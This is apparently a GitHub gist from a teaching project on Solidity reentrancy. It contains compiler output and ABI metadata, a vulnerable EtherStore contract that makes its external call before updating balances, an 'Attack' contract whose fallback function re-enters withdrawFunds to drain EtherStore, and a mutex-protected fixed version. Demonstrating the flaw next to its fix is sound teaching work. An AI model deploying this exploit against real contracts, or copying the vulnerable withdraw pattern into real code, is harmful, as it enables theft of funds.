0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 SLOAD LT ISZERO ISZERO ISZERO PUSH2 0x203 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH1 0x1 SLOAD DUP2 GT ISZERO ISZERO ISZERO PUSH2 0x214 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH3 0x93A80 PUSH1 0x2 PUSH1 0x0 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 SLOAD ADD TIMESTAMP LT ISZERO ISZERO ISZERO PUSH2 0x267 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST DUP1 PUSH1 0x3 PUSH1 0x0 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 PUSH1 0x0 DUP3 DUP3 SLOAD SUB SWAP3 POP POP DUP2 SWAP1 SSTORE POP TIMESTAMP PUSH1 0x2 PUSH1 0x0 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 DUP2 SWAP1 SSTORE POP PUSH1 0x1 PUSH1 0x0 DUP1 PUSH2 0x100 EXP DUP2 SLOAD DUP2 PUSH1 0xFF MUL NOT AND SWAP1 DUP4 ISZERO ISZERO MUL OR SWAP1 SSTORE POP CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH2 0x8FC DUP3 SWAP1 DUP2 ISZERO MUL SWAP1 PUSH1 0x40 MLOAD PUSH1 0x0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 DUP6 DUP9 DUP9 CALL SWAP4 POP POP POP POP ISZERO DUP1 ISZERO PUSH2 0x358 JUMPI RETURNDATASIZE PUSH1 0x0 DUP1 RETURNDATACOPY RETURNDATASIZE PUSH1 0x0 REVERT JUMPDEST POP PUSH1 0x0 DUP1 PUSH1 0x0 PUSH2 0x100 EXP DUP2 SLOAD DUP2 PUSH1 0xFF MUL NOT AND SWAP1 DUP4 ISZERO ISZERO MUL OR SWAP1 SSTORE POP POP JUMP JUMPDEST PUSH1 0x3 PUSH1 0x20 MSTORE DUP1 PUSH1 0x0 MSTORE PUSH1 0x40 PUSH1 0x0 KECCAK256 PUSH1 0x0 SWAP2 POP SWAP1 POP SLOAD DUP2 JUMP JUMPDEST CALLVALUE PUSH1 0x3 PUSH1 0x0 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 PUSH1 0x0 DUP3 DUP3 SLOAD ADD SWAP3 POP POP DUP2 SWAP1 SSTORE POP JUMP JUMPDEST PUSH1 0x1 SLOAD DUP2 JUMP STOP LOG1 PUSH6 0x627A7A723058 KECCAK256 0xea SLOAD SDIV 0xb9 0xee 0xd5 0x26 DUP10 SWAP2 0xdf 0xc0 SWAP14 0x26 0xbc STATICCALL PUSH31 0x2E92FD6B94A85FFA55B70602BDB42ACC002900000000000000000000000000 ", | |
"sourceMap": "26:1030:0:-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;172:51;;8:9:-1;5:2;;;30:1;27;20:12;5:2;172:51:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;382:672;;8:9:-1;5:2;;;30:1;27;20:12;5:2;382:672:0;;;;;;;;;;;;;;;;;;;;;;;;;;229:43;;8:9:-1;5:2;;;30:1;27;20:12;5:2;229:43:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;283:89;;;;;;125:41;;8:9:-1;5:2;;;30:1;27;20:12;5:2;125:41:0;;;;;;;;;;;;;;;;;;;;;;;172:51;;;;;;;;;;;;;;;;;:::o;382:672::-;456:15;;;;;;;;;;;455:16;447:25;;;;;;;;514:14;490:8;:20;499:10;490:20;;;;;;;;;;;;;;;;:38;;482:47;;;;;;;;598:16;;580:14;:34;;572:43;;;;;;;;718:7;687:16;:28;704:10;687:28;;;;;;;;;;;;;;;;:38;680:3;:45;;672:54;;;;;;;;760:14;736:8;:20;745:10;736:20;;;;;;;;;;;;;;;;:38;;;;;;;;;;;815:3;784:16;:28;801:10;784:28;;;;;;;;;;;;;;;:34;;;;912:4;894:15;;:22;;;;;;;;;;;;;;;;;;926:10;:19;;:35;946:14;926:35;;;;;;;;;;;;;;;;;;;;;;;;8:9:-1;5:2;;;45:16;42:1;39;24:38;77:16;74:1;67:27;5:2;926:35:0;1042:5;1024:15;;:23;;;;;;;;;;;;;;;;;;382:672;:::o;229:43::-;;;;;;;;;;;;;;;;;:::o;283:89::-;356:9;332:8;:20;341:10;332:20;;;;;;;;;;;;;;;;:33;;;;;;;;;;;283:89::o;125:41::-;;;;:::o" | |
}, | |
"gasEstimates": { | |
"creation": { | |
"codeDepositCost": "207800", | |
"executionCost": "40524", | |
"totalCost": "248324" | |
}, | |
"external": { | |
"balances(address)": "576", | |
"depositFunds()": "20496", | |
"lastWithdrawTime(address)": "532", | |
"withdrawFunds(uint256)": "infinite", | |
"withdrawwalLimit()": "482" | |
} | |
}, | |
"methodIdentifiers": { | |
"balances(address)": "27e235e3", | |
"depositFunds()": "e2c41dbc", | |
"lastWithdrawTime(address)": "1031ec31", | |
"withdrawFunds(uint256)": "155dd5ee", | |
"withdrawwalLimit()": "e49c10e8" | |
} | |
}, | |
"abi": [ | |
{ | |
"constant": true, | |
"inputs": [ | |
{ | |
"name": "", | |
"type": "address" | |
} | |
], | |
"name": "lastWithdrawTime", | |
"outputs": [ | |
{ | |
"name": "", | |
"type": "uint256" | |
} | |
], | |
"payable": false, | |
"stateMutability": "view", | |
"type": "function" | |
}, | |
{ | |
"constant": false, | |
"inputs": [ | |
{ | |
"name": "_weiToWithdraw", | |
"type": "uint256" | |
} | |
], | |
"name": "withdrawFunds", | |
"outputs": [], | |
"payable": false, | |
"stateMutability": "nonpayable", | |
"type": "function" | |
}, | |
{ | |
"constant": true, | |
"inputs": [ | |
{ | |
"name": "", | |
"type": "address" | |
} | |
], | |
"name": "balances", | |
"outputs": [ | |
{ | |
"name": "", | |
"type": "uint256" | |
} | |
], | |
"payable": false, | |
"stateMutability": "view", | |
"type": "function" | |
}, | |
{ | |
"constant": false, | |
"inputs": [], | |
"name": "depositFunds", | |
"outputs": [], | |
"payable": true, | |
"stateMutability": "payable", | |
"type": "function" | |
}, | |
{ | |
"constant": true, | |
"inputs": [], | |
"name": "withdrawwalLimit", | |
"outputs": [ | |
{ | |
"name": "", | |
"type": "uint256" | |
} | |
], | |
"payable": false, | |
"stateMutability": "view", | |
"type": "function" | |
} | |
] | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"compiler": { | |
"version": "0.4.26+commit.4563c3fc" | |
}, | |
"language": "Solidity", | |
"output": { | |
"abi": [ | |
{ | |
"constant": true, | |
"inputs": [ | |
{ | |
"name": "", | |
"type": "address" | |
} | |
], | |
"name": "lastWithdrawTime", | |
"outputs": [ | |
{ | |
"name": "", | |
"type": "uint256" | |
} | |
], | |
"payable": false, | |
"stateMutability": "view", | |
"type": "function" | |
}, | |
{ | |
"constant": false, | |
"inputs": [ | |
{ | |
"name": "_weiToWithdraw", | |
"type": "uint256" | |
} | |
], | |
"name": "withdrawFunds", | |
"outputs": [], | |
"payable": false, | |
"stateMutability": "nonpayable", | |
"type": "function" | |
}, | |
{ | |
"constant": true, | |
"inputs": [ | |
{ | |
"name": "", | |
"type": "address" | |
} | |
], | |
"name": "balances", | |
"outputs": [ | |
{ | |
"name": "", | |
"type": "uint256" | |
} | |
], | |
"payable": false, | |
"stateMutability": "view", | |
"type": "function" | |
}, | |
{ | |
"constant": false, | |
"inputs": [], | |
"name": "depositFunds", | |
"outputs": [], | |
"payable": true, | |
"stateMutability": "payable", | |
"type": "function" | |
}, | |
{ | |
"constant": true, | |
"inputs": [], | |
"name": "withdrawwalLimit", | |
"outputs": [ | |
{ | |
"name": "", | |
"type": "uint256" | |
} | |
], | |
"payable": false, | |
"stateMutability": "view", | |
"type": "function" | |
} | |
], | |
"devdoc": { | |
"methods": {} | |
}, | |
"userdoc": { | |
"methods": {} | |
} | |
}, | |
"settings": { | |
"compilationTarget": { | |
"bit-smartcontract-bug/reentrancy/EtherStoreModify.sol": "EtherStoreModify" | |
}, | |
"evmVersion": "byzantium", | |
"libraries": {}, | |
"optimizer": { | |
"enabled": false, | |
"runs": 200 | |
}, | |
"remappings": [] | |
}, | |
"sources": { | |
"bit-smartcontract-bug/reentrancy/EtherStoreModify.sol": { | |
"keccak256": "0x691be2d4e2181de105ec9f4d02a09feb4fb0a705270dba708c8455e9d8455556", | |
"urls": [ | |
"bzzr://ffb488214d323d7e3a50a28f428c785ed65cd9302be3cbce13efdc2642495fd8" | |
] | |
} | |
}, | |
"version": 1 | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity ^0.4.26; | |
import "./EtherStore.sol" ; | |
contract Attack { | |
EtherStore public etherStore; | |
// intialise the etherStore variable with the contract address | |
constructor(address _etherStoreAddress) { | |
etherStore = EtherStore(_etherStoreAddress); | |
} | |
function pwnEtherStore() public payable { | |
// attack to the nearest ether | |
require(msg.value >= 1 ether); | |
// send eth to the depositFunds() function | |
etherStore.depositFunds.value(1 ether)(); | |
// start the magic | |
etherStore.withdrawFunds(1 ether); | |
} | |
function collectEther() public { | |
msg.sender.transfer(this.balance); | |
} | |
// fallback function - where the magic happens | |
function () payable { | |
if (etherStore.balance > 1 ether) { | |
etherStore.withdrawFunds(1 ether); | |
} | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity ^0.4.26; | |
contract EtherStore { | |
uint256 public withdrawalLimit = 1 ether; | |
mapping(address => uint256) public lastWithdrawTime; | |
mapping(address => uint256) public balances; | |
function depositFunds() public payable { | |
balances[msg.sender] += msg.value; | |
} | |
function withdrawFunds (uint256 _weiToWithdraw) public { | |
require(balances[msg.sender] >= _weiToWithdraw); | |
// limit the withdrawal | |
require(_weiToWithdraw <= withdrawalLimit); | |
// limit the time allowed to withdraw | |
require(now >= lastWithdrawTime[msg.sender] + 1 weeks); | |
require(msg.sender.call.value(_weiToWithdraw)()); | |
balances[msg.sender] -= _weiToWithdraw; | |
lastWithdrawTime[msg.sender] = now; | |
} | |
} | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity ^0.4.26; | |
contract EtherStoreModify{ | |
// inintialize the mutex | |
bool reEntrancyMutex = false; | |
uint256 public withdrawwalLimit = 1 ether; | |
mapping(address => uint256) public lastWithdrawTime; | |
mapping(address => uint256) public balances; | |
function depositFunds() public payable { | |
balances[msg.sender] += msg.value; | |
} | |
function withdrawFunds (uint256 _weiToWithdraw) public { | |
require(!reEntrancyMutex); | |
require(balances[msg.sender] >= _weiToWithdraw); | |
// limit the withdrawal | |
require(_weiToWithdraw <= withdrawwalLimit); | |
// limit the time allowed to withdraw | |
require(now >= lastWithdrawTime[msg.sender] + 1 weeks); | |
balances[msg.sender] -= _weiToWithdraw; | |
lastWithdrawTime[msg.sender] = now; | |
// set the reEntrancy mutex before the external call data | |
reEntrancyMutex = true; | |
msg.sender.transfer(_weiToWithdraw); | |
// release the mutex after the external call | |
reEntrancyMutex = false; | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment